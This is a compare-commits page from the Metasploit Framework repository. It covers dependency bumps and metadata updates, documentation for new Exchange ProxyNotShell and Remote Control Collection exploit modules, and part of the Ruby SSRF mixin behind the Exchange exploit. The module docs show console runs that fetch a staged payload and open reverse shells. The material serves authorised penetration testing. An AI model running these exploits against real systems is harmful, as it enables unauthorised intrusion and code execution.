Compare commits

..

39 Commits

Author SHA1 Message Date
Metasploit 03bb062c2e automatic module_metadata_base.json update 2022-12-01 09:50:22 -06:00
bwatters dcff4d37b6 Land #17163, Pfsense PfBlockerNG RCE module check method improvement
Merge branch 'land-17163' into upstream-master
2022-12-01 09:25:18 -06:00
Metasploit b9c18de4fe automatic module_metadata_base.json update 2022-11-30 16:55:15 -06:00
adfoster-r7 13ab155545 Land #17322, fix OpoenOffice description typo 2022-11-30 22:31:53 +00:00
Maik Ro 330cb2944b fix typo
OptString.new('FILENAME', [true, 'The OpoenOffice Text document name', 'msf.odt']) -> OpoenOffice changed to OpenOffice
2022-11-30 22:10:18 +01:00
Metasploit 07a91df7a1 automatic module_metadata_base.json update 2022-11-30 11:43:21 -06:00
Christophe De La Fuente d3057f15b2 Land #17275, Add Exploit For CVE-2022-41082 (ProxyNotShell) 2022-11-30 18:16:19 +01:00
Metasploit 35bbfc8af4 automatic module_metadata_base.json update 2022-11-28 15:47:01 -06:00
Spencer McIntyre 8ea8e2410d Land #17299, Fixes #17227
Fixes #17227 - polkit_dbus_auth_bypass module when run from a command…
2022-11-28 16:22:52 -05:00
Metasploit 8a66a359a6 automatic module_metadata_base.json update 2022-11-28 15:16:21 -06:00
Jack Heysel 5d3cfa69b8 Land #17210, add ParseError rescue to snmp modules
snmp_enum, snmp_enumshares and snmp_enumusers now rescue
SNMP ParseErrors
2022-11-28 15:37:02 -05:00
bwatters 3462dc6bf4 Land #17087, remote control collection rce
Merge branch 'land-17087' into upstream-master
2022-11-28 14:29:52 -06:00
Spencer McIntyre 264d45e04a Appease rubocop 2022-11-28 10:16:55 -05:00
Spencer McIntyre f24df8a051 Change an exception class and drop DOMAIN passing 2022-11-28 10:06:14 -05:00
Spencer McIntyre 009c6c5350 Add the MaxBackendRetries datastore option 2022-11-28 09:45:04 -05:00
Metasploit c49dd0b6cd automatic module_metadata_base.json update 2022-11-27 14:27:39 -06:00
adfoster-r7 de75f0ecbe Land #17304, added target uri in to "Authorization not requested" error message 2022-11-27 20:04:00 +00:00
omer citak 9aa1a84b3a added target uri in to "Authorization not requested" error message 2022-11-27 15:35:34 +03:00
Ashley Donaldson 638a1c8f78 Prevent double-delimiter situations in general 2022-11-25 15:32:55 +11:00
Ashley Donaldson 25a0d0ff0e Fixes #17227 - polkit_dbus_auth_bypass module when run from a command shell 2022-11-25 15:13:57 +11:00
adfoster-r7 c218063a1a Land #17280, Weekly dependency updates for Gemfile.lock 2022-11-24 23:11:49 +00:00
Metasploit ed954eec0c Bump version of framework to 6.2.29 2022-11-24 12:09:06 -06:00
Spencer McIntyre 3805a79079 Add support for Exchange Data Access Group (DAG)
This updates the HttpSsrf class to retry requests to the Powershell
backend when they fail because they were routed to a new server. Now
when the transport is initialized, it will store the backend used by the
first successful request.
2022-11-23 15:37:58 -05:00
Spencer McIntyre 3f58bfe11e Check that the target is Exchange Server 2019 2022-11-23 10:47:10 -05:00
h00die 7227bec259 set autocheck false 2022-11-21 15:53:37 -05:00
bwatters 8c9e2c9fc7 Add check method, update hosting IP/port 2022-11-21 15:53:37 -05:00
h00die d141efcbfe screen effects 2022-11-21 15:53:37 -05:00
h00die 181b8e4eea review comments 2022-11-21 15:53:37 -05:00
h00die d4536b24a6 remote control collection rce 2022-11-21 15:53:37 -05:00
Spencer McIntyre ed99f2f67f Bypass EEMS M1 2022-11-21 11:13:16 -05:00
Spencer McIntyre bc89721d7a Add module docs, fix ProxyShell versions 2022-11-18 17:42:27 -05:00
Jeffrey Martin f6bdbbd359 Weekly dependency updates for Gemfile.lock 2022-11-18 16:24:55 -06:00
Spencer McIntyre 29d57dde66 Consolidate into ProxyMaybeShell 2022-11-18 17:01:01 -05:00
Spencer McIntyre fc7594dbc8 Add exploit for CVE-2022-41082 AKA ProxyNotShell 2022-11-18 17:00:27 -05:00
ErikWynter 771b66f570 update fork and rebase feature branch 2022-11-03 12:07:08 +02:00
ErikWynter 0065cff169 add rescuing for SNMP::ParseError to snmp enum modules 2022-11-03 12:04:33 +02:00
Jack Heysel d6f27a8a71 Used vuln to remove test webshell in check method 2022-10-24 14:17:21 -04:00
Jack Heysel 11936affd1 Rubocop 2022-10-19 22:07:50 -04:00
Jack Heysel b60b440697 Check method improvement 2022-10-19 22:03:43 -04:00
23 changed files with 1033 additions and 239 deletions
+48 -48
View File
@@ -1,7 +1,7 @@
PATH
remote: .
specs:
metasploit-framework (6.2.28)
metasploit-framework (6.2.29)
actionpack (~> 6.0)
activerecord (~> 6.0)
activesupport (~> 6.0)
@@ -128,30 +128,30 @@ GEM
activerecord (>= 3.1.0, < 8)
ast (2.4.2)
aws-eventstream (1.2.0)
aws-partitions (1.648.0)
aws-sdk-core (3.162.0)
aws-partitions (1.663.0)
aws-sdk-core (3.168.0)
aws-eventstream (~> 1, >= 1.0.2)
aws-partitions (~> 1, >= 1.525.0)
aws-sigv4 (~> 1.1)
aws-partitions (~> 1, >= 1.651.0)
aws-sigv4 (~> 1.5)
jmespath (~> 1, >= 1.6.1)
aws-sdk-ec2 (1.341.0)
aws-sdk-core (~> 3, >= 3.127.0)
aws-sdk-ec2 (1.350.0)
aws-sdk-core (~> 3, >= 3.165.0)
aws-sigv4 (~> 1.1)
aws-sdk-iam (1.71.0)
aws-sdk-core (~> 3, >= 3.127.0)
aws-sdk-iam (1.73.0)
aws-sdk-core (~> 3, >= 3.165.0)
aws-sigv4 (~> 1.1)
aws-sdk-kms (1.58.0)
aws-sdk-core (~> 3, >= 3.127.0)
aws-sdk-kms (1.59.0)
aws-sdk-core (~> 3, >= 3.165.0)
aws-sigv4 (~> 1.1)
aws-sdk-s3 (1.115.0)
aws-sdk-core (~> 3, >= 3.127.0)
aws-sdk-s3 (1.117.1)
aws-sdk-core (~> 3, >= 3.165.0)
aws-sdk-kms (~> 1)
aws-sigv4 (~> 1.4)
aws-sigv4 (1.5.2)
aws-eventstream (~> 1, >= 1.0.2)
bcrypt (3.1.18)
bcrypt_pbkdf (1.1.0)
bindata (2.4.13)
bindata (2.4.14)
bson (4.15.0)
builder (3.2.4)
byebug (11.1.3)
@@ -160,7 +160,7 @@ GEM
cookiejar (0.3.3)
crass (1.0.6)
daemons (1.4.1)
debug (1.6.2)
debug (1.6.3)
irb (>= 1.3.6)
reline (>= 0.3.1)
diff-lcs (1.5.0)
@@ -185,12 +185,12 @@ GEM
factory_bot_rails (6.2.0)
factory_bot (~> 6.2.0)
railties (>= 5.0.0)
faker (2.23.0)
faker (3.0.0)
i18n (>= 1.8.11, < 2)
faraday (2.6.0)
faraday (2.7.1)
faraday-net_http (>= 2.0, < 3.1)
ruby2_keywords (>= 0.0.4)
faraday-net_http (3.0.1)
faraday-net_http (3.0.2)
faraday-retry (2.0.0)
faraday (~> 2.0)
faye-websocket (0.11.1)
@@ -216,7 +216,7 @@ GEM
i18n (1.12.0)
concurrent-ruby (~> 1.0)
io-console (0.5.11)
irb (1.4.2)
irb (1.4.3)
reline (>= 0.3.0)
jmespath (1.6.1)
jsobfu (0.4.2)
@@ -229,7 +229,7 @@ GEM
loofah (2.19.0)
crass (~> 1.0.2)
nokogiri (>= 1.5.9)
memory_profiler (1.0.0)
memory_profiler (1.0.1)
metasm (1.0.5)
metasploit-concern (4.0.5)
activemodel (~> 6.0)
@@ -250,7 +250,7 @@ GEM
activesupport (~> 6.0)
railties (~> 6.0)
metasploit-payloads (2.0.101)
metasploit_data_models (5.0.5)
metasploit_data_models (5.0.6)
activerecord (~> 6.0)
activesupport (~> 6.0)
arel-helpers
@@ -258,7 +258,7 @@ GEM
metasploit-model (>= 3.1)
pg
railties (~> 6.0)
recog (~> 2.0)
recog
webrick
metasploit_payloads-mettle (1.0.20)
method_source (1.0.0)
@@ -273,7 +273,7 @@ GEM
net-ldap (0.17.1)
net-protocol (0.1.3)
timeout
net-smtp (0.3.2)
net-smtp (0.3.3)
net-protocol
net-ssh (7.0.1)
network_interface (0.0.2)
@@ -296,13 +296,13 @@ GEM
ast (~> 2.4.1)
patch_finder (1.0.2)
pcaprub (0.13.1)
pdf-reader (2.10.0)
pdf-reader (2.11.0)
Ascii85 (~> 1.0)
afm (~> 0.2.1)
hashery (~> 2.0)
ruby-rc4
ttfunk
pg (1.4.4)
pg (1.4.5)
pry (0.13.1)
coderay (~> 1.1)
method_source (~> 1.0)
@@ -314,7 +314,7 @@ GEM
nio4r (~> 2.0)
racc (1.6.0)
rack (2.2.4)
rack-protection (3.0.2)
rack-protection (3.0.3)
rack
rack-test (2.0.2)
rack (>= 1.3)
@@ -332,10 +332,10 @@ GEM
rainbow (3.1.1)
rake (13.0.6)
rb-readline (0.5.5)
recog (2.3.23)
recog (3.0.3)
nokogiri
redcarpet (3.5.1)
regexp_parser (2.6.0)
regexp_parser (2.6.1)
reline (0.3.1)
io-console (~> 0.5)
rex-arch (0.1.14)
@@ -388,18 +388,18 @@ GEM
rex-text
rexml (3.2.5)
rkelly-remix (0.0.7)
rspec (3.11.0)
rspec-core (~> 3.11.0)
rspec-expectations (~> 3.11.0)
rspec-mocks (~> 3.11.0)
rspec-core (3.11.0)
rspec-support (~> 3.11.0)
rspec-expectations (3.11.1)
rspec (3.12.0)
rspec-core (~> 3.12.0)
rspec-expectations (~> 3.12.0)
rspec-mocks (~> 3.12.0)
rspec-core (3.12.0)
rspec-support (~> 3.12.0)
rspec-expectations (3.12.0)
diff-lcs (>= 1.2.0, < 2.0)
rspec-support (~> 3.11.0)
rspec-mocks (3.11.1)
rspec-support (~> 3.12.0)
rspec-mocks (3.12.0)
diff-lcs (>= 1.2.0, < 2.0)
rspec-support (~> 3.11.0)
rspec-support (~> 3.12.0)
rspec-rails (6.0.1)
actionpack (>= 6.1)
activesupport (>= 6.1)
@@ -410,25 +410,25 @@ GEM
rspec-support (~> 3.11)
rspec-rerun (1.1.0)
rspec (~> 3.0)
rspec-support (3.11.1)
rubocop (1.37.0)
rspec-support (3.12.0)
rubocop (1.39.0)
json (~> 2.3)
parallel (~> 1.10)
parser (>= 3.1.2.1)
rainbow (>= 2.2.2, < 4.0)
regexp_parser (>= 1.8, < 3.0)
rexml (>= 3.2.5, < 4.0)
rubocop-ast (>= 1.22.0, < 2.0)
rubocop-ast (>= 1.23.0, < 2.0)
ruby-progressbar (~> 1.7)
unicode-display_width (>= 1.4.0, < 3.0)
rubocop-ast (1.22.0)
rubocop-ast (1.23.0)
parser (>= 3.1.1.0)
ruby-macho (3.0.0)
ruby-prof (1.4.2)
ruby-progressbar (1.11.0)
ruby-rc4 (0.1.5)
ruby2_keywords (0.0.5)
ruby_smb (3.2.0)
ruby_smb (3.2.1)
bindata
openssl-ccm
openssl-cmac
@@ -445,12 +445,12 @@ GEM
simplecov-html (0.12.3)
simpleidn (0.2.1)
unf (~> 0.1.4)
sinatra (3.0.2)
sinatra (3.0.3)
mustermann (~> 3.0)
rack (~> 2.2, >= 2.2.4)
rack-protection (= 3.0.2)
rack-protection (= 3.0.3)
tilt (~> 2.0)
sqlite3 (1.5.3)
sqlite3 (1.5.4)
mini_portile2 (~> 2.8.0)
sshkey (2.0.0)
swagger-blocks (3.0.0)
@@ -465,7 +465,7 @@ GEM
ttfunk (1.7.0)
tzinfo (2.0.5)
concurrent-ruby (~> 1.0)
tzinfo-data (1.2022.5)
tzinfo-data (1.2022.6)
tzinfo (>= 1.0.0)
unf (0.1.4)
unf_ext
@@ -496,7 +496,7 @@ GEM
webrick
yard (0.9.28)
webrick (~> 1.7.0)
zeitwerk (2.6.1)
zeitwerk (2.6.6)
PLATFORMS
ruby
+1 -1
View File
@@ -70,7 +70,7 @@ memory_profiler, 1.0.0, MIT
metasm, 1.0.5, LGPL-2.1
metasploit-concern, 4.0.5, "New BSD"
metasploit-credential, 5.0.9, "New BSD"
metasploit-framework, 6.2.28, "New BSD"
metasploit-framework, 6.2.29, "New BSD"
metasploit-model, 4.0.6, "New BSD"
metasploit-payloads, 2.0.101, "3-clause (or ""modified"") BSD"
metasploit_data_models, 5.0.5, "New BSD"
@@ -71,6 +71,8 @@
<B N="V"><%= arg[:value].to_s %></B>
<% elsif arg[:value].is_a? String %>
<S N="V"><%= arg[:value].encode(xml: :text) %></S>
<% elsif arg[:value].is_a? Nokogiri::XML::Element %>
<%= arg[:value].to_s %>
<% end %>
</MS>
</Obj>
+133 -8
View File
@@ -35412,7 +35412,7 @@
"https"
],
"targets": null,
"mod_time": "2022-01-23 15:28:32 +0000",
"mod_time": "2022-11-27 15:35:34 +0000",
"path": "/modules/auxiliary/scanner/http/tomcat_mgr_login.rb",
"is_install_path": true,
"ref_name": "scanner/http/tomcat_mgr_login",
@@ -47037,7 +47037,7 @@
],
"targets": null,
"mod_time": "2022-01-23 15:28:32 +0000",
"mod_time": "2022-11-01 14:22:49 +0000",
"path": "/modules/auxiliary/scanner/snmp/snmp_enum.rb",
"is_install_path": true,
"ref_name": "scanner/snmp/snmp_enum",
@@ -47117,7 +47117,7 @@
],
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2022-11-01 14:22:49 +0000",
"path": "/modules/auxiliary/scanner/snmp/snmp_enumshares.rb",
"is_install_path": true,
"ref_name": "scanner/snmp/snmp_enumshares",
@@ -47155,7 +47155,7 @@
],
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2022-11-01 14:22:49 +0000",
"path": "/modules/auxiliary/scanner/snmp/snmp_enumusers.rb",
"is_install_path": true,
"ref_name": "scanner/snmp/snmp_enumusers",
@@ -74051,7 +74051,7 @@
"targets": [
"Automatic"
],
"mod_time": "2022-10-08 09:50:25 +0000",
"mod_time": "2022-11-25 15:13:57 +0000",
"path": "/modules/exploits/linux/local/polkit_dbus_auth_bypass.rb",
"is_install_path": true,
"ref_name": "linux/local/polkit_dbus_auth_bypass",
@@ -98550,7 +98550,7 @@
"Apache OpenOffice on Windows (PSH)",
"Apache OpenOffice on Linux/OSX (Python)"
],
"mod_time": "2020-10-02 17:38:06 +0000",
"mod_time": "2022-11-30 22:10:18 +0000",
"path": "/modules/exploits/multi/misc/openoffice_document_macro.rb",
"is_install_path": true,
"ref_name": "multi/misc/openoffice_document_macro",
@@ -104558,7 +104558,7 @@
"Unix Command",
"BSD Dropper"
],
"mod_time": "2022-10-12 19:23:59 +0000",
"mod_time": "2022-10-24 14:17:21 +0000",
"path": "/modules/exploits/unix/http/pfsense_pfblockerng_webshell.rb",
"is_install_path": true,
"ref_name": "unix/http/pfsense_pfblockerng_webshell",
@@ -142075,6 +142075,79 @@
"session_types": false,
"needs_cleanup": true
},
"exploit_windows/http/exchange_proxynotshell_rce": {
"name": "Microsoft Exchange ProxyNotShell RCE",
"fullname": "exploit/windows/http/exchange_proxynotshell_rce",
"aliases": [
],
"rank": 600,
"disclosure_date": "2022-09-28",
"type": "exploit",
"author": [
"Orange Tsai",
"Spencer McIntyre",
"DA-0x43-Dx4-DA-Hx2-Tx2-TP-S-Q",
"Piotr Bazydło",
"Rich Warren",
"Soroush Dalili"
],
"description": "This module chains two vulnerabilities on Microsoft Exchange Server\n that, when combined, allow an authenticated attacker to interact with\n the Exchange Powershell backend (CVE-2022-41040), where a\n deserialization flaw can be leveraged to obtain code execution\n (CVE-2022-41082). This exploit only support Exchange Server 2019.\n\n These vulnerabilities were patched in November 2022.",
"references": [
"CVE-2022-41040",
"CVE-2022-41082",
"URL-https://www.zerodayinitiative.com/blog/2022/11/14/control-your-types-or-get-pwned-remote-code-execution-in-exchange-powershell-backend",
"URL-https://msrc-blog.microsoft.com/2022/09/29/customer-guidance-for-reported-zero-day-vulnerabilities-in-microsoft-exchange-server/",
"URL-https://doublepulsar.com/proxynotshell-the-story-of-the-claimed-zero-day-in-microsoft-exchange-5c63d963a9e9",
"URL-https://rw.md/2022/11/09/ProxyNotRelay.html"
],
"platform": "Windows",
"arch": "cmd, x64, x86",
"rport": 443,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": [
"Windows Dropper",
"Windows Command"
],
"mod_time": "2022-11-28 10:06:14 +0000",
"path": "/modules/exploits/windows/http/exchange_proxynotshell_rce.rb",
"is_install_path": true,
"ref_name": "windows/http/exchange_proxynotshell_rce",
"check": true,
"post_auth": true,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"SideEffects": [
"artifacts-on-disk",
"ioc-in-logs"
],
"AKA": [
"ProxyNotShell"
],
"Reliability": [
"repeatable-session"
]
},
"session_types": false,
"needs_cleanup": null
},
"exploit_windows/http/exchange_proxyshell_rce": {
"name": "Microsoft Exchange ProxyShell RCE",
"fullname": "exploit/windows/http/exchange_proxyshell_rce",
@@ -142128,7 +142201,7 @@
"Windows Dropper",
"Windows Command"
],
"mod_time": "2021-11-10 11:12:38 +0000",
"mod_time": "2022-11-28 10:16:55 +0000",
"path": "/modules/exploits/windows/http/exchange_proxyshell_rce.rb",
"is_install_path": true,
"ref_name": "windows/http/exchange_proxyshell_rce",
@@ -161574,6 +161647,58 @@
"session_types": false,
"needs_cleanup": null
},
"exploit_windows/misc/remote_control_collection_rce": {
"name": "Remote Control Collection RCE",
"fullname": "exploit/windows/misc/remote_control_collection_rce",
"aliases": [
],
"rank": 300,
"disclosure_date": "2022-09-20",
"type": "exploit",
"author": [
"h00die",
"H4rk3nz0"
],
"description": "This module utilizes the Remote Control Server's, part\n of the Remote Control Collection by Steppschuh, protocol\n to deploy a payload and run it from the server. This module will only deploy\n a payload if the server is set without a password (default).\n Tested against 3.1.1.12, current at the time of module writing",
"references": [
"URL-http://remote-control-collection.com",
"URL-https://github.com/H4rk3nz0/PenTesting/blob/main/Exploits/remote%20control%20collection/remote-control-collection-rce.py"
],
"platform": "Windows",
"arch": "x64, x86",
"rport": 1926,
"autofilter_ports": [
],
"autofilter_services": [
],
"targets": [
"default"
],
"mod_time": "2022-10-28 15:03:39 +0000",
"path": "/modules/exploits/windows/misc/remote_control_collection_rce.rb",
"is_install_path": true,
"ref_name": "windows/misc/remote_control_collection_rce",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
"repeatable-session"
],
"SideEffects": [
"artifacts-on-disk",
"screen-effects"
]
},
"session_types": false,
"needs_cleanup": true
},
"exploit_windows/misc/remote_mouse_rce": {
"name": "Remote Mouse RCE",
"fullname": "exploit/windows/misc/remote_mouse_rce",
@@ -0,0 +1,66 @@
## Vulnerable Application
This module chains two vulnerabilities on Microsoft Exchange Server that, when combined, allow an authenticated attacker
to interact with the Exchange Powershell backend (CVE-2022-41040), where a deserialization flaw can be leveraged to
obtain code execution (CVE-2022-41082). This exploit only support Exchange Server 2019.
By taking advantage of this vulnerability, you can execute arbitrary commands on the remote Microsoft Exchange Server.
This vulnerability affects:
* Exchange 2013 CU23 < 15.0.1497.44
* Exchange 2016 CU22 < 15.1.2375.37
* Exchange 2016 CU23 < 15.1.2507.16
* Exchange 2019 CU11 < 15.2.986.36
* Exchange 2019 CU12 < 15.2.1118.20
*Source: [Description of the security update for Microsoft Exchange Server 2019, 2016, and 2013: November 8, 2022 (KB5019758)][1]*
## Verification Steps
1. Start msfconsole
2. Do: `use exploit/windows/http/exchange_proxynotshell_rce`
3. Do: `set RHOSTS [IP]`
4. Do: `set USERNAME [USERNAME]`
5. Do: `set PASSWORD [PASSWORD]`
6. Do: `run`
## Advanced Options
### EemsBypass
Technique to bypass the EEMS rule.
**none** -- Make no attempt to bypass the EEMS rule. This can be used with the `check` method to determine if the EEMS
M1 rule is applied.
**IBM037v1** -- Use IBM037 encoding combined with the `X-Up-Devcap-Post-Charset` header and `UP` User-Agent prefix. See
[ProxyNotRelay][2] for more information.
### MaxBackendRetries
The maximum number of times to retry for targeting the backend server with the SSRF. This is useful in environments
where a Data Availability Group (DAG) is in place and causes requests to be sent to a random backend server.
## Scenarios
### Version and OS
```
msf6 exploit(windows/http/exchange_proxynotshell_rce) > set RHOSTS 192.168.159.11
RHOSTS => 192.168.159.11
msf6 exploit(windows/http/exchange_proxynotshell_rce) > set USERNAME aliddle
USERNAME => aliddle
msf6 exploit(windows/http/exchange_proxynotshell_rce) > set PASSWORD Password1!
PASSWORD => Password1!
msf6 exploit(windows/http/exchange_proxynotshell_rce) > exploit
[*] Started reverse TCP handler on 192.168.159.128:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable.
[*] Sending stage (175686 bytes) to 192.168.159.11
[*] Meterpreter session 1 opened (192.168.159.128:4444 -> 192.168.159.11:7290) at 2022-11-18 17:32:18 -0500
meterpreter >
```
[1]: https://support.microsoft.com/en-us/topic/description-of-the-security-update-for-microsoft-exchange-server-2019-2016-and-2013-november-8-2022-kb5019758-2b3b039b-68b9-4f35-9064-6b286f495b1d
[2]: https://rw.md/2022/11/09/ProxyNotRelay.html
@@ -10,9 +10,9 @@ This vulnerability affects:
* Exchange 2013 CU23 < 15.0.1497.15
* Exchange 2016 CU19 < 15.1.2176.12
* Exchange 2016 CU20 < 15.1.2242.5
* Exchange 2016 CU20 < 15.1.2242.8
* Exchange 2019 CU8 < 15.2.792.13
* Exchange 2019 CU9 < 15.2.858.9
* Exchange 2019 CU9 < 15.2.858.10
*Source: [Description of the security update for Microsoft Exchange Server 2019, 2016, and 2013: April 13, 2021 (KB5001779)][1]*
@@ -87,6 +87,11 @@ The path where you want to write the backdoor. Default: `aspnet_client`
This is MAPI client version sent in the request.
### MaxBackendRetries
The maximum number of times to retry for targeting the backend server with the SSRF. This is useful in environments
where a Data Availability Group (DAG) is in place and causes requests to be sent to a random backend server.
## Scenarios
### Exchange 2016 CU 19 on Server 2016
@@ -0,0 +1,106 @@
## Vulnerable Application
This module utilizes the Remote Control Server's, part
of the Remote Control Collection by Steppschuh, protocol
to deploy a payload and run it from the server. This module will only deploy
a payload if the server is set without a password (default).
Tested against 3.1.1.12, current at the time of module writing
Version 3.1.1.12 can be downloaded from http://remote-control-collection.com/
## Verification Steps
1. Install the application
2. Start msfconsole
3. Do: `use exploit/windows/misc/remote_control_collection_rce`
4. Set `rhost` and `lhost` as required.
5. Do: `run`
6. You should get a shell as the user who is running Remote Mouse.
## Options
### PATH
The location to write the payload to
Defaults to `%temp%\\` aka `c:\\Windows\\Temp\\` on most systems.
### SLEEP
The length of time, in seconds, to sleep between each command. This gives the remote program time to process the command on screen.
Defaults to `1`.
## Scenarios
### Remote Control Server 3.1.1.12 on Windows 10
```
resource (remote_mouse.rb)> use exploits/windows/misc/remote_mouse_rce
[*] Using configured payload windows/shell/reverse_tcp
resource (remote_mouse.rb)> set rhosts 1.1.1.1
rhosts => 1.1.1.1
resource (remote_mouse.rb)> set lhost 2.2.2.2
lhost => 2.2.2.2
resource (remote_mouse.rb)> set verbose true
verbose => true
msf6 exploit(windows/misc/remote_mouse_rce) > run
[*] Started reverse TCP handler on 2.2.2.2:4444
[*] 1.1.1.1:1978 - Running automatic check ("set AutoCheck false" to disable)
[+] 1.1.1.1:1978 - The target appears to be vulnerable. Received handshake with version: 411
[*] 1.1.1.1:1978 - Connecting
[*] 1.1.1.1:1978 - Sending Windows key
[*] 1.1.1.1:1978 - Opening command prompt
[*] 1.1.1.1:1978 - Sending stager
[*] 1.1.1.1:1978 - Using URL: http://2.2.2.2:8080/
[+] 1.1.1.1:1978 - Payload request received, sending 73802 bytes of payload for staging
[+] 1.1.1.1:1978 - Payload request received, sending 73802 bytes of payload for staging
[*] 1.1.1.1:1978 - Executing payload
[*] Encoded stage with x86/shikata_ga_nai
[*] Sending encoded stage (267 bytes) to 1.1.1.1
[*] Command shell session 1 opened (2.2.2.2:4444 -> 1.1.1.1:49962) at 2022-09-27 16:33:02 -0400
[*] 1.1.1.1:1978 - Server stopped.
[!] 1.1.1.1:1978 - This exploit may require manual cleanup of 'c:\Windows\Temp\NADYvmtxr.exe' on the target
Shell Banner:
Microsoft Windows [Version 10.0.16299.125]
-----
C:\Users\windows>whoami
whoami
win10prolicense\windows
C:\Users\windows>systeminfo
systeminfo
Host Name: WIN10PROLICENSE
OS Name: Microsoft Windows 10 Pro
OS Version: 10.0.16299 N/A Build 16299
```
### Remote Control Server 3.1.1.12 on Windows 10, with a password
Expected to fail.
```
resource (remote_control_collection.rb)> use exploits/windows/misc/remote_control_collection_rce
[*] Using configured payload windows/shell/reverse_tcp
resource (remote_control_collection.rb)> set rhosts 1.1.1.1
rhosts => 1.1.1.1
resource (remote_control_collection.rb)> set lhost 2.2.2.2
lhost => 2.2.2.2
resource (remote_control_collection.rb)> set verbose true
verbose => true
msf6 exploit(windows/misc/remote_control_collection_rce) > exploit
[*] Started reverse TCP handler on 2.2.2.2:4444
[*] Connecting and Sending Windows key
[*] Opening command prompt
[*] Sending stager
[*] Using URL: http://2.2.2.2:8080/
[*] Executing payload
[*] Server stopped.
[!] This exploit may require manual cleanup of 'c:\Windows\Temp\OqsTi76PX80it.exe' on the target
[*] Exploit completed, but no session was created
```
+1 -1
View File
@@ -30,7 +30,7 @@ module Metasploit
end
end
VERSION = "6.2.28"
VERSION = "6.2.29"
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
PRERELEASE = 'dev'
HASH = get_hash
@@ -0,0 +1,207 @@
# -*- coding: binary -*-
require 'winrm'
module Msf::Exploit::Remote::HTTP::Exchange::ProxyMaybeShell
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super
register_advanced_options(
[
Msf::OptFloat.new('MaxBackendRetries', [true, 'The maximum number of times to retry for targeting the backend', 10]),
], self.class
)
end
def execute_powershell(cmdlet, args: [], cat: nil)
winrm = SSRFWinRMConnection.new({
endpoint: full_uri('PowerShell/'),
transport: :ssrf,
max_backend_retries: datastore['MaxBackendRetries'].to_i,
ssrf_proc: proc do |method, uri, opts|
uri = "#{uri}?X-Rps-CAT=#{cat}" if cat
opts[:data].gsub!(
%r{<#{WinRM::WSMV::SOAP::NS_ADDRESSING}:To>(.*?)</#{WinRM::WSMV::SOAP::NS_ADDRESSING}:To>},
"<#{WinRM::WSMV::SOAP::NS_ADDRESSING}:To>http://127.0.0.1/PowerShell/</#{WinRM::WSMV::SOAP::NS_ADDRESSING}:To>"
)
opts[:data].gsub!(
%r{<#{WinRM::WSMV::SOAP::NS_WSMAN_DMTF}:ResourceURI mustUnderstand="true">(.*?)</#{WinRM::WSMV::SOAP::NS_WSMAN_DMTF}:ResourceURI>},
"<#{WinRM::WSMV::SOAP::NS_WSMAN_DMTF}:ResourceURI>http://schemas.microsoft.com/powershell/Microsoft.Exchange</#{WinRM::WSMV::SOAP::NS_WSMAN_DMTF}:ResourceURI>"
)
res = send_http(method, uri, opts)
raise WinRM::WinRMAuthorizationError.new('Server responded with 401 Unauthorized.') if res&.code == 401
res
end
})
successful = true
begin
winrm.shell(:powershell) do |shell|
shell.instance_variable_set(:@max_fragment_blob_size, WinRM::PSRP::MessageFragmenter::DEFAULT_BLOB_LENGTH)
shell.extend(SSRFWinRMConnection::PowerShell)
shell.run({ cmdlet: cmdlet, args: args }) do |stdout, stderr|
unless stdout.blank?
vprint_line('PSRP output received:')
vprint_line(stdout)
end
unless stderr.blank?
successful = false
vprint_error('PSRP error received:')
vprint_line(stderr)
end
end
end
rescue WinRM::WinRMAuthorizationError => e
fail_with(Msf::Exploit::Failure::NoAccess, e.message)
rescue WinRM::WinRMError => e
vprint_error("Exception: #{e.message}")
successful = false
rescue Msf::Exploit::Failed => e
raise e
rescue RuntimeError => e
print_error("Exception: #{e.inspect}")
successful = false
end
successful
end
def send_http(method, uri, opts = {})
request = {
'method' => method,
'uri' => uri,
'agent' => datastore['UserAgent'],
'ctype' => opts[:ctype],
'cookie' => opts[:cookie],
'headers' => { 'Accept' => '*/*', 'Cache-Control' => 'no-cache', 'Connection' => 'keep-alive' }
}
request = request.merge({ 'data' => opts[:data] }) unless opts[:data].nil?
request = request.merge({ 'headers' => opts[:headers] }) unless opts[:headers].nil?
request = request.merge(opts[:authentication]) unless opts[:authentication].nil?
begin
received = send_request_cgi(request)
rescue Errno::ECONNRESET => e
fail_with(Msf::Exploit::Failure::Disconnected, 'Server reset the connection.')
end
fail_with(Msf::Exploit::Failure::TimeoutExpired, 'Server did not respond in an expected way.') unless received
received
end
class XMLTemplate
def self.render(template_name, context = nil)
file_path = ::File.join(::Msf::Config.data_directory, 'exploits', 'proxymaybeshell', "#{template_name}.xml.erb")
template = ::File.binread(file_path)
case context
when Hash
b = binding
locals = context.collect { |k, _| "#{k} = context[#{k.inspect}]; " }
b.eval(locals.join)
when NilClass
b = binding
else
raise ArgumentError
end
b.eval(Erubi::Engine.new(template).src)
end
end
class SSRFWinRMConnection < WinRM::Connection
class MessageFactory < WinRM::PSRP::MessageFactory
def self.create_pipeline_message(runspace_pool_id, pipeline_id, command)
WinRM::PSRP::Message.new(
runspace_pool_id,
WinRM::PSRP::Message::MESSAGE_TYPES[:create_pipeline],
XMLTemplate.render('create_pipeline', cmdlet: command[:cmdlet], args: command[:args]),
pipeline_id
)
end
end
# we have to define this class so we can define our own transport factory that provides one backed by the SSRF
# vulnerability
class TransportFactory < WinRM::HTTP::TransportFactory
class HttpSsrf < WinRM::HTTP::HttpTransport
# rubocop:disable Lint/
def initialize(endpoint, options)
@endpoint = endpoint.is_a?(String) ? URI.parse(endpoint) : endpoint
@ssrf_proc = options[:ssrf_proc]
# this tracks the backend target, the PSRP session needs to communicate with one target
# this would be the case if Exchange Data Access Group (DAG) is in use
@backend = nil
@max_backend_attempts = [options.fetch(:max_backend_retries, 10) + 1, 1].max
end
def send_request(message)
resp = nil
@max_backend_attempts.times do
resp = @ssrf_proc.call('POST', @endpoint.path, { ctype: 'application/soap+xml;charset=UTF-8', data: message })
